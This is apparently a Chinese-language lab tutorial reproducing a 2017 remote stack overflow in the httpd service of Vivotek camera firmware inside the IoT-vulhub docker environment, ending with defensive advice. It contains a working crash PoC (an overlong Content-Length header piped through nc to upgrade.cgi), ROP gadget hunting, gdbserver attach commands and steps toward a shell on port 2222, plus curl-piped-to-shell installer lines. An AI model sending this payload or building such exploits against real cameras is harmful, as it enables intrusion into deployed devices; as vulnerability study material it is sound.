IoT-vulhub 漏洞复现(一):Vivotek远程栈溢出漏洞
字数 1237 2025-08-22 12:23:13
Vivotek远程栈溢出漏洞复现教学文档
1. 漏洞概述
漏洞类型:远程栈溢出漏洞
影响服务:Vivotek摄像头固件中的httpd服务
漏洞成因:未对用户POST数据长度进行校验,导致攻击者可以发送超长数据造成栈溢出
影响:可导致摄像头进程崩溃或执行任意代码
发现时间:2017年11月
2. 环境准备
2.1 基础环境安装
在Ubuntu 20.04下安装必要组件:
# 安装pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3
# 安装最新版docker
curl -s https://get.docker.com/ | sh
# 启动docker服务
systemctl start docker
# 安装docker-compose
python3 -m pip install docker-compose
2.2 获取IoT-vulhub项目
wget https://github.com/VulnTotal-Team/IoT-vulhub/archive/master.zip -O iot-vulhub-master.zip
unzip iot-vulhub-master.zip && cd iot-vulhub-master
2.3 构建基础镜像
# 构建ubuntu1604基础镜像
cd baseImage/ubuntu1604 && docker build -t firmianay/ubuntu1604 .
# 构建binwalk容器
cd baseImage/binwalk && docker build -t firmianay/binwalk .
3. 固件解压
使用binwalk解压Vivotek固件:
cd VIVOTEK/remote_stack_overflow
docker run --rm -v $PWD/firmware/:/root/firmware firmianay/binwalk -Mer "/root/firmware/CC8160-VVTK-0100d.flash.pkg"
4. 环境搭建
4.1 解决镜像缺失问题
由于docker.io没有firmianay/qemu-system:armel镜像,需要本地构建:
- 修改
IoT-vulhub-master/baseImage/qemu-system/armel/images/download.sh中的下载链接为https://file.erlkonig.tech/debian-armel/xxxx - 运行download.sh下载所需文件
- 在上级目录构建镜像:
docker build -t firmianay/qemu-system:armel .
4.2 解决构建错误
遇到构建错误时:
- 注释掉关于gef的代码(调试时直接使用gdb)
- 对于新版docker的文件名检测问题:
- 找到要提取的带有
_31的目录到firmware目录下 - 将命令改为:
COPY ./firmware/_31.extracted /root/firmware
- 找到要提取的带有
5. 漏洞分析
5.1 漏洞程序检查
检查httpd程序的安全机制:
checksec httpd
结果:32位小端arm程序,仅开启NX保护
5.2 IDA分析
关键漏洞点:
- 程序截取
Content-Length字符串并使用strncpy复制到dest变量 - 未对字符串长度进行校验
- dest变量距离栈底仅0x38字节,容易造成栈溢出
6. 漏洞复现
6.1 启动环境
# 启动系统环境
docker compose -f docker-compose-system.yml up
# 启动用户环境
docker-compose -f docker-compose-user.yml up
# 进入系统环境
docker exec -it vivotek-system /bin/bash
6.2 测试连接
nc -v 192.168.2.2 80
# 或浏览器访问:http://127.0.0.1:8888
6.3 发送PoC
echo -en "POST /cgi-bin/admin/upgrade.cgi\r\nHTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | nc -v 192.168.2.2 80
观察系统是否崩溃,验证漏洞存在。
7. 漏洞利用
7.1 获取进程信息
cat /proc/[pid]/maps
获取libc基地址和栈地址。
7.2 查找ROP gadget
ROPgadget --binary httpd --only 'pop|ret'
关键gadget:
pop {r1, pc}mov r0, r1 ; pop {r4, r5, pc}
7.3 调试设置
在测试虚拟机中:
./tools/gdbserver --attach :8888 `ps | grep -v grep | grep httpd | awk '{print $1}'`
在攻击主机中:
gdb
target remote 192.168.2.2:8888
7.4 利用脚本
使用提供的脚本模板(位于./tools/目录),根据调试结果修改:
- libc基地址
- gadget地址
- 栈布局
7.5 执行利用
运行exp.sh脚本,通过2222端口反弹shell:
nc 192.168.2.2 2222
成功获取shell。
8. 总结
- 漏洞原理:未校验输入长度导致栈溢出
- 利用限制:仅NX保护,无ASLR
- 利用方法:ROP链构造,ret2libc
- 关键点:
- 正确构建环境
- 精确计算偏移
- 选择合适的gadget
- 调试确定内存布局
9. 防御建议
- 对所有输入进行长度校验
- 启用ASLR保护
- 使用栈保护机制(如canary)
- 及时更新固件版本